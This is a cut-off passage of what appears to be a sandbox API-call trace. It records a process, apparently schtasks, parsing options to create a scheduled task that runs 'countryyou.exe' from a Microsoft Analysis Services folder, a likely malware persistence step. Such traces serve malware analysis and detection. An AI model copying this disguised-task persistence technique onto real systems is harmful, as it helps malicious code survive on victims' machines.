[0073.707] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0073.707] SetLastError (dwErrCode=0x490) [0073.707] lstrlenW (lpString="tr") returned 2 [0073.707] lstrlenW (lpString="tr") returned 2 [0073.707] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.707] lstrlenW (lpString="tr") returned 2 [0073.707] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.707] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tr|") returned 4 [0073.707] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tr|") returned 4 [0073.707] lstrlenW (lpString="|tr|") returned 4 [0073.707] lstrlenW (lpString="|tr|") returned 4 [0073.707] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0073.707] SetLastError (dwErrCode=0x0) [0073.707] SetLastError (dwErrCode=0x0) [0073.707] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0073.707] lstrlenW (lpString="-/") returned 2 [0073.707] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0073.707] SetLastError (dwErrCode=0x490) [0073.707] SetLastError (dwErrCode=0x490) [0073.708] SetLastError (dwErrCode=0x0) [0073.708] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0073.708] StrChrIW (lpStart="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'", wMatch=0x3a) returned=":\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'" [0073.708] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0073.708] _memicmp (_Buf1=0x11c4b0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.708] _memicmp (_Buf1=0x11d680, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.708] SetLastError (dwErrCode=0x7a) [0073.708] SetLastError (dwErrCode=0x0) [0073.708] SetLastError (dwErrCode=0x0) [0073.708] lstrlenW (lpString="'C") returned 2 [0073.708] lstrlenW (lpString="-/") returned 2 [0073.708] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0073.708] SetLastError (dwErrCode=0x490) [0073.708] SetLastError (dwErrCode=0x490) [0073.708] SetLastError (dwErrCode=0x0) [0073.708] _memicmp (_Buf1=0x11d6e0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.708] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0073.708] GetProcessHeap () returned 0x100000 [0073.708] HeapValidate (hHeap=0x100000, dwFlags=0x0, lpMem=0x11d700) returned 1 [0073.708] GetProcessHeap () returned 0x100000 [0073.708] RtlReAllocateHeap (Heap=0x100000, Flags=0xc, Ptr=0x11d700, Size=0x8e) returned 0x11c3f0 [0073.708] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0073.708] lstrlenW (lpString=" \x09") returned 2 [0073.708] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0073.708] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0073.708] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0073.709] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0073.709] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0073.709] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0073.710] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0073.710] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x42) returned 0x0 [0073.710] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0073.711] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0073.711] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0073.711] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0073.711] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0073.711] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0073.711] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0073.711] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0073.711] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0073.711] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0073.711] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0073.711] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0073.711] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0073.711] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0073.711] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0073.711] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0073.711] GetLastError () returned 0x0 [0073.711] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0073.711] lstrlenW (lpString="'C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\countryyou.exe'") returned 70 [0073.711] SetLastError (dwErrCode=0x0) [0073.711] SetLastError (dwErrCode=0x0) [0073.711] lstrlenW (lpString="/rl") returned 3 [0073.711] lstrlenW (lpString="-/") returned 2 [0073.711] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0073.711] lstrlenW (lpString="create") returned 6 [0073.711] lstrlenW (lpString="create") returned 6 [0073.712] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.712] lstrlenW (lpString="rl") returned 2 [0073.712] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.712] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|create|") returned 8 [0073.712] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.712] lstrlenW (lpString="|create|") returned 8 [0073.712] lstrlenW (lpString="|rl|") returned 4 [0073.712] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0073.712] SetLastError (dwErrCode=0x490) [0073.712] lstrlenW (lpString="?") returned 1 [0073.712] lstrlenW (lpString="?") returned 1 [0073.712] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.712] lstrlenW (lpString="rl") returned 2 [0073.712] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.712] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|?|") returned 3 [0073.712] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.712] lstrlenW (lpString="|?|") returned 3 [0073.712] lstrlenW (lpString="|rl|") returned 4 [0073.712] SetLastError (dwErrCode=0x490) [0073.712] lstrlenW (lpString="s") returned 1 [0073.712] lstrlenW (lpString="s") returned 1 [0073.712] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.713] lstrlenW (lpString="rl") returned 2 [0073.713] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.713] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|s|") returned 3 [0073.713] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.713] lstrlenW (lpString="|s|") returned 3 [0073.713] lstrlenW (lpString="|rl|") returned 4 [0073.713] SetLastError (dwErrCode=0x490) [0073.713] lstrlenW (lpString="u") returned 1 [0073.713] lstrlenW (lpString="u") returned 1 [0073.713] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.713] lstrlenW (lpString="rl") returned 2 [0073.713] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.713] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|u|") returned 3 [0073.713] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.713] lstrlenW (lpString="|u|") returned 3 [0073.713] lstrlenW (lpString="|rl|") returned 4 [0073.713] SetLastError (dwErrCode=0x490) [0073.713] lstrlenW (lpString="p") returned 1 [0073.713] lstrlenW (lpString="p") returned 1 [0073.713] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.713] lstrlenW (lpString="rl") returned 2 [0073.713] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.713] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|p|") returned 3 [0073.714] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.714] lstrlenW (lpString="|p|") returned 3 [0073.714] lstrlenW (lpString="|rl|") returned 4 [0073.714] SetLastError (dwErrCode=0x490) [0073.714] lstrlenW (lpString="ru") returned 2 [0073.714] lstrlenW (lpString="ru") returned 2 [0073.714] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.714] lstrlenW (lpString="rl") returned 2 [0073.714] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.714] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|ru|") returned 4 [0073.714] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.714] lstrlenW (lpString="|ru|") returned 4 [0073.714] lstrlenW (lpString="|rl|") returned 4 [0073.714] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0073.714] SetLastError (dwErrCode=0x490) [0073.714] lstrlenW (lpString="rp") returned 2 [0073.714] lstrlenW (lpString="rp") returned 2 [0073.714] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.714] lstrlenW (lpString="rl") returned 2 [0073.714] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.714] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rp|") returned 4 [0073.714] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.715] lstrlenW (lpString="|rp|") returned 4 [0073.715] lstrlenW (lpString="|rl|") returned 4 [0073.715] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0073.715] SetLastError (dwErrCode=0x490) [0073.715] lstrlenW (lpString="sc") returned 2 [0073.715] lstrlenW (lpString="sc") returned 2 [0073.715] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.715] lstrlenW (lpString="rl") returned 2 [0073.715] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.715] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|sc|") returned 4 [0073.715] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.715] lstrlenW (lpString="|sc|") returned 4 [0073.715] lstrlenW (lpString="|rl|") returned 4 [0073.715] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0073.715] SetLastError (dwErrCode=0x490) [0073.715] lstrlenW (lpString="mo") returned 2 [0073.715] lstrlenW (lpString="mo") returned 2 [0073.715] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.715] lstrlenW (lpString="rl") returned 2 [0073.715] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.715] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|mo|") returned 4 [0073.715] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.716] lstrlenW (lpString="|mo|") returned 4 [0073.716] lstrlenW (lpString="|rl|") returned 4 [0073.716] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0073.716] SetLastError (dwErrCode=0x490) [0073.716] lstrlenW (lpString="d") returned 1 [0073.716] lstrlenW (lpString="d") returned 1 [0073.716] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.716] lstrlenW (lpString="rl") returned 2 [0073.716] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.716] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|d|") returned 3 [0073.716] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.716] lstrlenW (lpString="|d|") returned 3 [0073.716] lstrlenW (lpString="|rl|") returned 4 [0073.716] SetLastError (dwErrCode=0x490) [0073.716] lstrlenW (lpString="m") returned 1 [0073.716] lstrlenW (lpString="m") returned 1 [0073.716] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.716] lstrlenW (lpString="rl") returned 2 [0073.716] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.716] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|m|") returned 3 [0073.716] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.716] lstrlenW (lpString="|m|") returned 3 [0073.716] lstrlenW (lpString="|rl|") returned 4 [0073.716] SetLastError (dwErrCode=0x490) [0073.716] lstrlenW (lpString="i") returned 1 [0073.716] lstrlenW (lpString="i") returned 1 [0073.717] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.717] lstrlenW (lpString="rl") returned 2 [0073.717] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.717] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|i|") returned 3 [0073.717] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.717] lstrlenW (lpString="|i|") returned 3 [0073.717] lstrlenW (lpString="|rl|") returned 4 [0073.717] SetLastError (dwErrCode=0x490) [0073.717] lstrlenW (lpString="tn") returned 2 [0073.717] lstrlenW (lpString="tn") returned 2 [0073.717] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.717] lstrlenW (lpString="rl") returned 2 [0073.717] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.717] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tn|") returned 4 [0073.717] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.717] lstrlenW (lpString="|tn|") returned 4 [0073.717] lstrlenW (lpString="|rl|") returned 4 [0073.717] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0073.717] SetLastError (dwErrCode=0x490) [0073.717] lstrlenW (lpString="tr") returned 2 [0073.717] lstrlenW (lpString="tr") returned 2 [0073.717] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.717] lstrlenW (lpString="rl") returned 2 [0073.717] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.718] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|tr|") returned 4 [0073.718] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.718] lstrlenW (lpString="|tr|") returned 4 [0073.725] lstrlenW (lpString="|rl|") returned 4 [0073.725] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0073.728] SetLastError (dwErrCode=0x490) [0073.728] lstrlenW (lpString="st") returned 2 [0073.728] lstrlenW (lpString="st") returned 2 [0073.728] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.728] lstrlenW (lpString="rl") returned 2 [0073.728] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.728] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|st|") returned 4 [0073.728] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.729] lstrlenW (lpString="|st|") returned 4 [0073.729] lstrlenW (lpString="|rl|") returned 4 [0073.729] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0073.729] SetLastError (dwErrCode=0x490) [0073.729] lstrlenW (lpString="sd") returned 2 [0073.729] lstrlenW (lpString="sd") returned 2 [0073.729] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.729] lstrlenW (lpString="rl") returned 2 [0073.729] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.729] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|sd|") returned 4 [0073.729] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.729] lstrlenW (lpString="|sd|") returned 4 [0073.729] lstrlenW (lpString="|rl|") returned 4 [0073.729] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0073.729] SetLastError (dwErrCode=0x490) [0073.729] lstrlenW (lpString="ed") returned 2 [0073.729] lstrlenW (lpString="ed") returned 2 [0073.729] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.729] lstrlenW (lpString="rl") returned 2 [0073.729] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.729] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|ed|") returned 4 [0073.729] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.729] lstrlenW (lpString="|ed|") returned 4 [0073.730] lstrlenW (lpString="|rl|") returned 4 [0073.730] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0073.730] SetLastError (dwErrCode=0x490) [0073.730] lstrlenW (lpString="it") returned 2 [0073.730] lstrlenW (lpString="it") returned 2 [0073.730] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.730] lstrlenW (lpString="rl") returned 2 [0073.730] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.730] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|it|") returned 4 [0073.730] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.730] lstrlenW (lpString="|it|") returned 4 [0073.730] lstrlenW (lpString="|rl|") returned 4 [0073.730] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0073.730] SetLastError (dwErrCode=0x490) [0073.730] lstrlenW (lpString="et") returned 2 [0073.730] lstrlenW (lpString="et") returned 2 [0073.730] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.730] lstrlenW (lpString="rl") returned 2 [0073.730] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.730] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|et|") returned 4 [0073.730] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.730] lstrlenW (lpString="|et|") returned 4 [0073.730] lstrlenW (lpString="|rl|") returned 4 [0073.730] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0073.731] SetLastError (dwErrCode=0x490) [0073.731] lstrlenW (lpString="k") returned 1 [0073.731] lstrlenW (lpString="k") returned 1 [0073.731] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.731] lstrlenW (lpString="rl") returned 2 [0073.731] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.731] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|k|") returned 3 [0073.731] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.731] lstrlenW (lpString="|k|") returned 3 [0073.731] lstrlenW (lpString="|rl|") returned 4 [0073.731] SetLastError (dwErrCode=0x490) [0073.731] lstrlenW (lpString="du") returned 2 [0073.731] lstrlenW (lpString="du") returned 2 [0073.731] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.731] lstrlenW (lpString="rl") returned 2 [0073.731] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.731] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|du|") returned 4 [0073.731] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.731] lstrlenW (lpString="|du|") returned 4 [0073.731] lstrlenW (lpString="|rl|") returned 4 [0073.731] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0073.731] SetLastError (dwErrCode=0x490) [0073.731] lstrlenW (lpString="ri") returned 2 [0073.731] lstrlenW (lpString="ri") returned 2 [0073.732] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.732] lstrlenW (lpString="rl") returned 2 [0073.732] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.732] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|ri|") returned 4 [0073.732] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.732] lstrlenW (lpString="|ri|") returned 4 [0073.732] lstrlenW (lpString="|rl|") returned 4 [0073.732] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0073.732] SetLastError (dwErrCode=0x490) [0073.732] lstrlenW (lpString="z") returned 1 [0073.732] lstrlenW (lpString="z") returned 1 [0073.732] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.732] lstrlenW (lpString="rl") returned 2 [0073.732] _memicmp (_Buf1=0x11c380, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.732] _vsnwprintf (in: _Buffer=0x11c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|z|") returned 3 [0073.732] _vsnwprintf (in: _Buffer=0x11c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc108 | out: _Buffer="|rl|") returned 4 [0073.732] lstrlenW (lpString="|z|") returned 3 [0073.732] lstrlenW (lpString="|rl|") returned 4 [0073.732] SetLastError (dwErrCode=0x490) [0073.732] lstrlenW (lpString="f") returned 1 [0073.732] lstrlenW (lpString="f") returned 1 [0073.732] _memicmp (_Buf1=0x11c240, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0073.732] lstrlenW (lpString="rl") returned 